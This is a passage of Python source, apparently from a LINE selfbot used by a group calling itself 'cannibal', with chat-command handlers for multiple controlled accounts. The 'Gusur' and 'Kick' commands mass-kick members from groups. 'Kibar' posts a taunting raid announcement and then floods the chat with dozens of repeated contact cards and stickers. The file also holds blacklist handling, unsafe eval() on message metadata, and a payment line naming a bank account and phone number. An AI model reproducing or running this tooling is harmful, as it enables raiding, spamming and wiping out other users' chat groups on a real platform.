cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
random.choice(ABC).acceptGroupInvitationByTicket(msg.to,Ticket)
random.choice(ABC).kickoutFromGroup(msg.to, [target])
X = cl.getGroup(msg.to)
X.preventedJoinByTicket = True
cl.updateGroup(X)
except:
pass
elif "Gusur" in msg.text:
if msg._from in Bots:
if msg.toType == 2:
# print "Otw cleanse"
_name = msg.text.replace("Gusur","")
gs = ki.getGroup(msg.to)
gs = kk.getGroup(msg.to)
gs = kc.getGroup(msg.to)
gs = ko.getGroup(msg.to)
ki.sendMessage(msg.to,"🔹ɪ ᴍ sᴏʀʀʏ🔹")
targets = []
for g in gs.members:
if _name in g.displayName:
targets.append(g.mid)
if targets == []:
ki.sendMessage(msg.to,"Not found")
# else:
for target in targets:
if target not in Bots:
try:
klist=[ki,kk,kc,ko,jk]
kicker=random.choice(klist)
kicker.kickoutFromGroup(msg.to,[target])
print (msg.to,[g.mid])
except:
ki.sendMessage(msg.to,"♦️ᴘᴇʀᴍɪsɪ sᴇᴍᴜᴀ ɴʏᴀ♦️")
elif cmd == "kibar":
if wait["selfbot"] == True:
if msg._from in admin:
cl.sendMessage(msg.to, "ʜʜʜᴀᴀᴀᴀɪɪɪɪ!!! \nᴀᴘᴀ ᴋᴀʙᴀʀ sᴇᴍᴜᴀ\nᴍᴀᴀᴀғғғ ʀᴏᴏᴍ ᴋᴀʟɪᴀɴ ᴅᴀʟᴀᴍ ᴘᴇɴɢɢᴜsᴜʀᴀɴ \n\nᴋᴇʙᴀɴʏᴀᴋᴀɴ ʙᴀᴄᴏᴛ ᴅᴀɴ ᴀɴᴜ\ncannibal ᴅᴀɴ ᴛᴇᴀᴍ ʜᴀᴅɪʀ\nᴍᴀᴜ ʙᴀʙᴀᴛ ɢᴄ ɢᴀᴋ ᴊᴇʟᴀs\nɴᴏ ʙᴀᴄᴏᴛ \nɴᴏ ᴅᴇsᴀʜ \nɴᴏ ᴄᴏᴍᴍᴇɴᴛ \nɴᴏ ᴋᴏᴀʀ ᴋᴏᴀʀ \nɴᴏ ɴᴀɴɢɪs \nᴋᴀsɪᴀɴ ᴅᴇʟʟʟᴏᴏᴏ\nʀᴏᴏᴍ ᴏᴋᴇᴘ \nʀᴏᴏᴍ ᴊᴜᴅɪ\nʀᴏᴏᴍ ɢᴀᴋ ᴊᴇʟᴀs\nsɪᴀᴘ ᴋɪᴛᴀ ʙᴀʙᴀᴛ ᴅᴀɴ ʙᴀɴᴛᴀɪɪɪ \n\n\n\n ʙᴀᴘᴀᴋ ᴋᴀᴜᴜᴜ...\nᴋᴇɴᴀᴘᴀ ᴋᴀᴜ ᴅɪᴀᴍ ɴᴊɪɪɪɴɴɢɢɢɢ\nᴛᴀɴɢᴋɪss ɴʏᴇᴇᴛ ᴛᴀɴɢᴋɪss ᴊᴀɴɢᴀɴ ɴʏᴀᴍᴜᴋ ᴀᴊᴀ\n\n\nᴅᴀsᴀʀ ʀᴏᴏᴍ ᴘᴇᴀ ɢᴜᴏʙʟᴏᴋ sᴇᴛᴀɴ\nᴍᴀᴀғ ᴄᴇᴇᴇɴɢɢᴇɴɢ\nɢᴄ ᴋᴀᴜ ᴀᴋᴜ sɪᴛᴀ...!!!\n\n\n sᴀʟᴀᴍ ᴅᴀʀɪ ᴋᴀᴍɪ cannibal\n\nᴍᴀᴍᴘɪʀ ᴅɪ ɢᴄ ᴋᴀʟɪᴀɴ\n\nʀᴀᴛᴀ ɢᴀᴋ ʀᴀᴛᴀ ʏᴀɴɢ ᴘᴇɴᴛɪɴɢ ᴋɪʙᴀʀ ᴅᴀɴ ᴅᴇsᴀʜɪɴ ɢᴄ ᴋᴀᴜ \nʀᴀᴛᴀ ᴀᴋᴜ sᴇɴᴀɴɢ\nᴋʟᴏ ɢᴀᴋ ʀᴀᴛᴀ ᴛᴜɴɢɢᴜ ᴋᴇʜᴀᴅɪʀᴀɴ ᴀᴋᴜ ʟᴀɢɪ\n\n\n >>⛔sᴀʟᴀᴍ ᴛᴇᴀᴍ cannibal killer⛔<< \n\n\n>>⛔cannibal ᴋɪʟʟᴇʀ ʟᴇsᴛ ɢᴏ⛔<<\n\n\n ᴄʀᴇᴀᴛᴏʀ\n\n<<<<<<<<<<CANNIBAL>>>>>>>>>>\n\nhttp://line.me/ti/p/~4rman3")
cl.sendContact(to, mid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendContact(to, Amid)
cl.sendContact(to, Bmid)
cl.sendContact(to, Cmid)
cl.sendContact(to, Dmid)
cl.sendContact(to, Emid)
cl.sendContact(to, Zmid)
cl.sendMessage(to, None, contentMetadata={"STKID":"56021040","STKPKGID":"3865357","STKVER":"1"}, contentType=7)
cl.sendMessage(to, None, contentMetadata={"STKID":"56021040","STKPKGID":"3865357","STKVER":"1"}, contentType=7)
elif ("Kick " in msg.text):
if wait["selfbot"] == True:
if msg._from in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
if target not in Bots:
try:
random.choice(ABC).kickoutFromGroup(msg.to, [target])
except:
pass
#===========ADMIN ADD============#
elif ("A " in msg.text):
if wait["selfbot"] == True:
if msg._from in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
admin.append(target)
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴᴀᴍʙᴀʜ ᴀᴅᴍɪɴ🔹")
except:
pass
elif ("S " in msg.text):
if wait["selfbot"] == True:
if msg._from in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
staff.append(target)
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴᴀᴍʙᴀʜ sᴛᴀғғ🔹")
except:
pass
elif ("Botadd " in msg.text):
if wait["selfbot"] == True:
if msg._from in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
Bots.append(target)
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴᴀᴍʙᴀʜ ʙᴏᴛ🔹")
except:
pass
elif ("Ha " in msg.text):
if msg._from in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
if target not in Saints:
try:
admin.remove(target)
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴɢʜᴀᴘᴜs ᴀᴅᴍɪɴ🔹")
except:
pass
elif ("Hs " in msg.text):
if msg._from in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
if target not in Saints:
try:
staff.remove(target)
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴɢʜᴀᴘᴜs sᴛᴀғғ🔹")
except:
pass
elif ("Botdell " in msg.text):
if msg._from in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
if target not in Saints:
try:
Bots.remove(target)
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴɢʜᴀᴘᴜs ᴀᴅᴍɪɴ🔹")
except:
pass
elif cmd == "admin:on" or text.lower() == 'admin:on':
if msg._from in admin:
wait["addadmin"] = True
sebdTextTemplate(msg.to,"🔹ᴋɪʀɪᴍ ᴄᴏɴᴛᴀᴄᴛ ɴʏᴀ🔹")
elif cmd == "admin:off" or text.lower() == 'admin:repeat':
if msg._from in admin:
wait["delladmin"] = True
sendTextTemplate(msg.to,"🔹ᴋɪʀɪᴍ ᴄᴏɴᴛᴀᴄᴛ ɴʏᴀ🔹")
elif cmd == "staff:on" or text.lower() == 'staff:on':
if msg._from in admin:
wait["addstaff"] = True
sendTextTemplate(msg.to,"🔹ᴋɪʀɪᴍ ᴄᴏɴᴛᴀᴄᴛ ɴʏᴀ🔹")
elif cmd == "staff:off" or text.lower() == 'staff:repeat':
if msg._from in admin:
wait["dellstaff"] = True
sendTextTemplate(msg.to,"🔹ᴋɪʀɪᴍ ᴄᴏɴᴛᴀᴄᴛ ɴʏᴀ🔹")
elif cmd == "bot:on" or text.lower() == 'bot:on':
if msg._from in admin:
wait["addbots"] = True
sendTextTemplate(msg.to,"🔹ᴋɪʀɪᴍ ᴄᴏɴᴛᴀᴄᴛ ɴʏᴀ🔹")
elif cmd == "bot:off" or text.lower() == 'bot:repeat':
if msg._from in admin:
wait["dellbots"] = True
sendTextTemplate(msg.to,"🔹ᴋɪʀɪᴍ ᴄᴏɴᴛᴀᴄᴛ ɴʏᴀ🔹")
elif cmd == "refresh" or text.lower() == 'refresh':
if msg._from in admin:
wait["addadmin"] = False
wait["delladmin"] = False
wait["addstaff"] = False
wait["dellstaff"] = False
wait["addbots"] = False
wait["dellbots"] = False
wait["wblacklist"] = False
wait["dblacklist"] = False
wait["Talkwblacklist"] = False
wait["Talkdblacklist"] = False
sendTextTemplate(msg.to,"🔹sᴜᴅᴀʜ sᴇɢᴀʀ ʙᴏssᴋᴜ🔹")
elif cmd == "kojoman" or text.lower() == 'contact admin':
if msg._from in admin:
ma = ""
for i in admin:
ma = cl.getContact(i)
cl.sendMessage(msg.to, None, contentMetadata={'mid': i}, contentType=13)
elif cmd == "tikungan" or text.lower() == 'contact staff':
if msg._from in admin:
ma = ""
for i in staff:
ma = cl.getContact(i)
cl.sendMessage(msg.to, None, contentMetadata={'mid': i}, contentType=13)
elif cmd == "contact bot" or text.lower() == 'contact bot':
if msg._from in admin:
ma = ""
for i in Bots:
ma = cl.getContact(i)
cl.sendMessage(msg.to, None, contentMetadata={'mid': i}, contentType=13)
#===========COMMAND ON OFF============#
elif cmd == "unsend on" or text.lower() == 'unsend on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["unsend"] = True
sendTextTemplate(msg.to,"🔹ᴅᴇᴛᴇᴋsɪ ᴜɴsᴇɴᴅ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ??")
elif cmd == "unsend off" or text.lower() == 'unsend off':
if wait["selfbot"] == True:
if msg._from in admin:
wait["unsend"] = False
sendTextTemplate(msg.to,"🔹ᴅᴇᴛᴇᴋsɪ ᴜɴsᴇɴᴅ ᴅɪ ɴᴏɴᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "notag on" or text.lower() == 'notag on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["Mentionkick"] = True
sendTextTemplate(msg.to,"🔹ɴᴏᴛᴀɢ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "notag off" or text.lower() == 'notag off':
if wait["selfbot"] == True:
if msg._from in admin:
wait["MentionKick"] = False
sendTextTemplate(msg.to,"🔹ɴᴏᴛᴀɢ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "contact on" or text.lower() == 'contact on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["contact"] = True
sendTextTemplate(msg.to,"🔹ᴅᴇᴛᴇᴋsɪ ᴄᴏɴᴛᴀᴄᴛ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "contact off" or text.lower() == 'contact off':
if wait["selfbot"] == True:
if msg._from in admin:
wait["contact"] = False
sendTextTemplate(msg.to,"🔹ᴅᴇᴛᴇᴋsɪ ᴄᴏɴᴛᴀᴄᴛ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "respon on" or text.lower() == 'respon on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["detectMention"] = True
sendTextTemplate(msg.to,"🔹ᴀᴜᴛᴏʀᴇsᴘᴏɴ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "respon off" or text.lower() == 'respon off':
if wait["selfbot"] == True:
if msg._from in admin:
wait["detectMention"] = False
sendTextTemplate(msg.to,"🔹ᴀᴜᴛᴏʀᴇsᴘᴏɴ ᴅɪ ᴍᴀᴛɪᴋᴀɴ🔹")
elif cmd == "responpm on" or text.lower() == 'responpm on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["arespon"] = True
sendTextTemplate(msg.to,"🔹ʀᴇsᴘᴏɴᴘᴍ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "responpm off" or text.lower() == 'responpm off':
if wait["selfbot"] == True:
if msg._from in admin:
wait["arespon"] = False
sendTextTemplate(msg.to,"🔹ʀᴇsᴘᴏɴᴘᴍ ᴅɪ ᴍᴀᴛɪᴋᴀɴ🔹")
elif cmd == "autojoin on" or text.lower() == 'autojoin on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["autoJoin"] = True
sendTextTemplate(msg.to,"🔹ᴀᴜᴛᴏ ᴊᴏɪɴ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "autojoin off" or text.lower() == 'autojoin off':
if wait["selfbot"] == True:
if msg._from in admin:
wait["autoJoin"] = False
sendTextTemplate(msg.to,"🔹ᴀᴜᴛᴏ ᴊᴏɪɴ ᴅɪ ɴᴏɴᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "sticker on" or text.lower() == 'sticker on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["sticker"] = True
sendTextTemplate(msg.to,"🔹ᴅᴇᴛᴇᴋsɪ sᴛɪᴄᴋᴇʀ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "sticker off" or text.lower() == 'sticker off':
if wait["selfbot"] == True:
if msg._from in admin:
wait["sticker"] = False
sendTextTemplate(msg.to,"🔹ᴅᴇᴛᴇᴋsɪ sᴛɪᴄᴋᴇʀ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "autoleave on" or text.lower() == 'autoleave on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["autoLeave"] = True
sendTextTemplate(msg.to,"🔹ᴀᴜᴛᴏʟᴇᴀᴠᴇ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "autoleave off" or text.lower() == 'autoleave off':
if wait["selfbot"] == True:
if msg._from in admin:
wait["autoLeave"] = False
sendTextTemplate(msg.to,"🔹ᴀᴜᴛᴏʟᴇᴀᴠᴇ ᴅɪ ɴᴏɴᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "autoadd on" or text.lower() == 'autoadd on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["autoAdd"] = True
sendTextTemplate(msg.to,"🔹ᴀᴜᴛᴏᴀᴅᴅ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "autoadd off" or text.lower() == 'autoadd off':
if wait["selfbot"] == True:
if msg._from in admin:
wait["autoAdd"] = False
sendTextTemplate(msg.to,"🔹ᴀᴜᴛᴏᴀᴅᴅ ᴅɪ ɴᴏɴᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "left on" or text.lower() == 'left on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["left"] = True
sendTextTemplate(msg.to,"🔹ʟᴇғᴛ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "left off" or text.lower() == 'left off':
if wait["selfbot"] == True:
if msg._from in admin:
wait["left"] = False
sendTextTemplate(msg.to,"🔹ʟᴇғᴛ ᴅɪ ɴᴏɴᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "autoblock on" or text.lower() == 'autoblock on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["autoBlock"] = True
sendTextTemplate(msg.to,"🔹ᴀᴜᴛᴏʙʟᴏᴄᴋ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "autoblock off" or text.lower() == 'autoblock off':
if wait["selfbot"] == True:
if msg._from in admin:
wait["autoBlock"] = True
sendTextTemplate(msg.to,"🔹ᴀᴜᴛᴏʙʟᴏᴄᴋ ᴅɪ ɴᴏɴᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "jointicket on" or text.lower() == 'jointicket on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["autoJoinTicket"] = True
sendTextTemplate(msg.to,"🔹ᴊᴏɪɴᴛɪᴄᴋᴇᴛ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹")
elif cmd == "jointicket off" or text.lower() == 'jointicket off':
if wait["selfbot"] == True:
if msg._from in admin:
wait["autoJoinTicket"] = False
sendTextTemplate(msg.to,"🔹ᴊᴏɪɴᴛɪᴄᴋᴇᴛ ᴅɪ ɴᴏɴᴀᴋᴛɪғᴋᴀɴ🔹")
#===========COMMAND BLACKLIST============#
elif ("Talkban " in msg.text):
if wait["selfbot"] == True:
if msg._from in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
wait["Talkblacklist"][target] = True
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴᴀᴍʙᴀʜ ʙʟᴀᴄᴋʟɪsᴛ🔹")
except:
pass
elif ("Untalkban " in msg.text):
if wait["selfbot"] == True:
if msg._from in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
del wait["Talkblacklist"][target]
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴɢʜᴀᴘᴜs ʙʟᴀᴄᴋʟɪsᴛ🔹")
except:
pass
elif cmd == "talkban:on" or text.lower() == 'talkban:on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["Talkwblacklist"] = True
sendTextTemplate(msg.to,"🔹ᴋɪʀɪᴍ ᴄᴏɴᴛᴀᴄᴛ ɴʏᴀ🔹")
elif cmd == "untalkban:on" or text.lower() == 'untalkban:on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["Talkdblacklist"] = True
sendTextTemplate(msg.to,"🔹ᴋɪʀɪᴍ ᴄᴏɴᴛᴀᴄᴛ ɴʏᴀ🔹")
elif ("Ban " in msg.text):
if wait["selfbot"] == True:
if msg._from in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
wait["blacklist"][target] = True
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴᴀᴍʙᴀʜ ʙʟᴀᴄᴋʟɪsᴛ🔹")
except:
pass
elif ("Unban " in msg.text):
if wait["selfbot"] == True:
if msg._from in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
del wait["blacklist"][target]
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴɢʜᴀᴘᴜs ʙʟᴀᴄᴋʟɪsᴛ🔹")
except:
pass
elif cmd == "ban:on" or text.lower() == 'ban:on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["wblacklist"] = True
sendTextTemplate(msg.to,"🔹ᴋɪʀɪᴍ ᴄᴏɴᴛᴀᴄᴛɴʏᴀ🔹")
elif cmd == "unban:on" or text.lower() == 'unban:on':
if wait["selfbot"] == True:
if msg._from in admin:
wait["dblacklist"] = True
sendTextTemplate(msg.to,"🔹ᴋɪʀɪᴍ ᴄᴏɴᴛᴀᴄᴛɴʏᴀ🔹")
elif cmd == "banlist" or text.lower() == 'banlist':
if wait["selfbot"] == True:
if msg._from in admin:
if wait["blacklist"] == {}:
sendTextTemplate(msg.to,"🔹ᴛɪᴅᴀᴋ ᴀᴅᴀ ʙʟᴀᴄᴋʟɪsᴛ🔹")
else:
ma = ""
a = 0
for m_id in wait["blacklist"]:
a = a + 1
end = '\n'
ma += str(a) + ". " +cl.getContact(m_id).displayName + "\n"
sendTextTemplate3(msg.to,"🔹ʙʟᴀᴄᴋʟɪsᴛ ᴜsᴇʀ🔹\n\n"+ma+"\n🔹ᴊᴜᴍʟᴀʜ「%s」ʙʟᴀᴄᴋʟɪsᴛ ᴜsᴇʀ🔹" %(str(len(wait["blacklist"]))))
elif cmd == "talkbanlist" or text.lower() == 'talkbanlist':
if wait["selfbot"] == True:
if msg._from in admin:
if wait["Talkblacklist"] == {}:
sendTextTemplate(msg.to,"🔹ᴛɪᴅᴀᴋ ᴀᴅᴀ ᴛᴀʟᴋʙᴀɴ ᴜsᴇʀ🔹")
else:
ma = ""
a = 0
for m_id in wait["Talkblacklist"]:
a = a + 1
end = '\n'
ma += str(a) + ". " +cl.getContact(m_id).displayName + "\n"
sendTextTemplate(msg.to,"🔹ᴛᴀʟᴋʙᴀɴ ᴜsᴇʀ🔹\n\n"+ma+"\n🔹ᴊᴜᴍʟᴀʜ「%s」ᴛᴀʟᴋʙᴀɴ ᴜsᴇʀ🔹" %(str(len(wait["Talkblacklist"]))))
elif cmd == "tersangka" or text.lower() == 'blc':
if wait["selfbot"] == True:
if msg._from in admin:
if wait["blacklist"] == {}:
sendTextTemplate(msg.to,"🔹ᴛɪᴅᴀᴋ ᴀᴅᴀ ʙʟᴀᴄᴋʟɪsᴛ🔹")
else:
ma = ""
for i in wait["blacklist"]:
ma = cl.getContact(i)
cl.sendMessage(msg.to, None, contentMetadata={'mid': i}, contentType=13)
elif cmd == "clearban" or text.lower() == 'clearban':
if wait["selfbot"] == True:
if msg._from in admin:
wait["blacklist"] = {}
ragets = cl.getContacts(wait["blacklist"])
mc = "「%i」ᴜsᴇʀ ʙʟᴀᴄᴋʟɪsᴛ" % len(ragets)
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴɢʜᴀᴘᴜs ʙᴜʀᴏɴᴀɴ🔹\n " +mc)
elif text.lower() == 'paymment':
cl.sendMessage(msg.to, "ᴘᴀʏᴍᴇɴᴛ ᴠɪᴀ ʙᴀɴᴋ\nɴᴏ ʀᴇᴋ : 481901020711531\nᴀᴛᴀs ɴᴀᴍᴀ : muhazir\nʙᴀɴᴋ ʙʀɪ\n\nᴠɪᴀ ᴘᴜʟsᴀ\n08992906209" +mc)
#===========COMMAND SET============#
elif 'Set pesan: ' in msg.text:
if msg._from in admin:
spl = msg.text.replace('Set pesan: ','')
if spl in [""," ","\n",None]:
sendTextTemplate(msg.to, "🔹Gagal mengganti Pesan Msg")
else:
wait["message"] = spl
sendTextTemplate(msg.to, "🔹Pesan Msg🔹\n🔹Pesan Msg diganti jadi :\n\n「{}」".format(str(spl)))
elif 'Set welcome: ' in msg.text:
if msg._from in admin:
spl = msg.text.replace('Set welcome: ','')
if spl in [""," ","\n",None]:
sendTextTemplate(msg.to, "🔹Gagal mengganti Welcome Msg")
else:
wait["welcome"] = spl
sendTextTemplate(msg.to, "🔹Welcome Msg🔹\n🔹Welcome Msg diganti jadi :\n\n「{}」".format(str(spl)))
elif 'Set respon: ' in msg.text:
if msg._from in admin:
spl = msg.text.replace('Set respon: ','')
if spl in [""," ","\n",None]:
cl.sendMessage(msg.to, "🔹Gagal mengganti Respon Msg")
else:
wait["Respontag"] = spl
sendTextTemplate(msg.to, "🔹Respon Msg🔹\n🔹Respon Msg diganti jadi :\n\n「{}」".format(str(spl)))
elif 'Set left: ' in msg.text:
if msg._from in admin:
spl = msg.text.replace('Set left: ','')
if spl in [""," ","\n",None]:
sendTextTemplate(msg.to, "🔹Gagal mengganti Respon Msg")
else:
wait["left"] = spl
sendTextTemplate(msg.to, "🔹Respon Left🔹\n🔹Respon left diganti jadi :\n\n「{}」".format(str(spl)))
elif 'Set spam: ' in msg.text:
if msg._from in admin:
spl = msg.text.replace('Set spam: ','')
if spl in [""," ","\n",None]:
sendTextTemplate(msg.to, "🔹Gagal mengganti Spam")
else:
Setmain["RAmessage1"] = spl
sendTextTemplate(msg.to, "🔹Spam Msg🔹\n🔹Spam Msg diganti jadi :\n\n「{}」".format(str(spl)))
elif 'Set sider: ' in msg.text:
if msg._from in admin:
spl = msg.text.replace('Set sider: ','')
if spl in [""," ","\n",None]:
sendTextTemplate(msg.to, "🔹Gagal mengganti Sider Msg")
else:
wait["mention"] = spl
sendTextTemplate(msg.to, "🔹Sider Msg🔹\n🔹Sider Msg diganti jadi :\n\n「{}」".format(str(spl)))
elif text.lower() == "cek pesan":
if msg._from in admin:
sendTextTemplate(msg.to, "🔹Pesan Msg🔹\n🔹Pesan Msg mu :\n\n「 " + str(wait["message"]) + " 」")
elif text.lower() == "cek left":
if msg._from in admin:
sendTextTemplate(msg.to, "🔹left Msg🔹\n🔹Left Msg mu :\n\n「 " + str(wait["left"]) + " 」")
elif text.lower() == "cek welcome":
if msg._from in admin:
sendTextTemplate(msg.to, "🔹Welcome Msg🔹\n🔹Welcome Msg mu :\n\n「 " + str(wait["welcome"]) + " 」")
elif text.lower() == "cek respon":
if msg._from in admin:
sendTextTemplate(msg.to, "🔹Respon Msg🔹\n🔹Respon Msg mu :\n\n「 " + str(wait["Respontag"]) + " 」")
elif text.lower() == "cek spam":
if msg._from in admin:
sendTextTemplate(msg.to, "🔹Spam Msg🔹\n🔹Spam Msg mu :\n\n「 " + str(Setmain["RAmessage1"]) + " 」")
elif text.lower() == "cek sider":
if msg._from in admin:
sendTextTemplate(msg.to, "🔹Sider Msg🔹\n🔹Sider Msg mu :\n\n「 " + str(wait["mention"]) + " 」")
elif cmd == "cek":
if msg._from in admin or msg._from in owner:
try:cl.inviteIntoGroup(to, [mid]);has = "OK"
except:has = "NOT"
try:cl.kickoutFromGroup(to, [mid]);has1 = "OK"
except:has1 = "NOT"
if has == "OK":sil = "⭕"
else:sil = "⛔"
if has1 == "OK":sil1 = "⭕"
else:sil1 = "⛔"
cl.sendMessage(to, "sᴛᴀᴛᴜs:\n\nᴋɪᴄᴋ : {} \nɪɴᴠɪᴛᴇ : {}".format(sil1,sil))
try:ki.inviteIntoGroup(to, [Amid]);has = "OK"
except:has = "NOT"
try:ki.kickoutFromGroup(to, [Amid]);has1 = "OK"
except:has1 = "NOT"
if has == "OK":sil = "⭕"
else:sil = "⛔"
if has1 == "OK":sil1 = "⭕"
else:sil1 = "⛔"
ki.sendMessage(to, "sᴛᴀᴛᴜs:\n\nᴋɪᴄᴋ : {} \nɪɴᴠɪᴛᴇ : {}".format(sil1,sil))
try:kk.inviteIntoGroup(to, [Bmid]);has = "OK"
except:has = "NOT"
try:kk.kickoutFromGroup(to, [Bmid]);has1 = "OK"
except:has1 = "NOT"
if has == "OK":sil = "⭕"
else:sil = "⛔"
if has1 == "OK":sil1 = "⭕"
else:sil1 = "⛔"
